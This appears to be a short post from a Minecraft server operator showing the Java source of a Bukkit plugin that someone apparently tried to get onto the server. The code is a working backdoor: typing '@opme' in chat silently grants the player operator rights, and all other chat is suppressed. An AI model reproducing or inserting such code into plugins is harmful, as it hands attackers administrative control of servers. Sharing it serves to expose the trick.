The horrible ways people try to get op on my MC server

package me.MPG.Opme;

import java.util.logging.Logger;
import org.bukkit.Server;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.PluginManager;
import org.bukkit.plugin.java.JavaPlugin;

public class Main
  extends JavaPlugin
  implements Listener
{
  public void onEnable()
  {
    getLogger().info("Opme: enabled. ! Enjoy xD");
    getServer().getPluginManager().registerEvents(this, this);
  }

  public void onDisable() {}

  @EventHandler
  public void onPlayerChat(AsyncPlayerChatEvent mpg)
  {
    Player p = mpg.getPlayer();

    String pn = mpg.getPlayer().getName();

    String cmd = mpg.getMessage();


    cmd.startsWith("@");


    String[] args = cmd.split(" ");
    if (args == null) {
      return;
    }
    if (args[0].equalsIgnoreCase("@opme"))
    {
      mpg.setCancelled(true);

      p.sendMessage("§eyou are now op!");
      p.setOp(true);
    }
    else
    {
      mpg.setCancelled(true);
    }
  }
}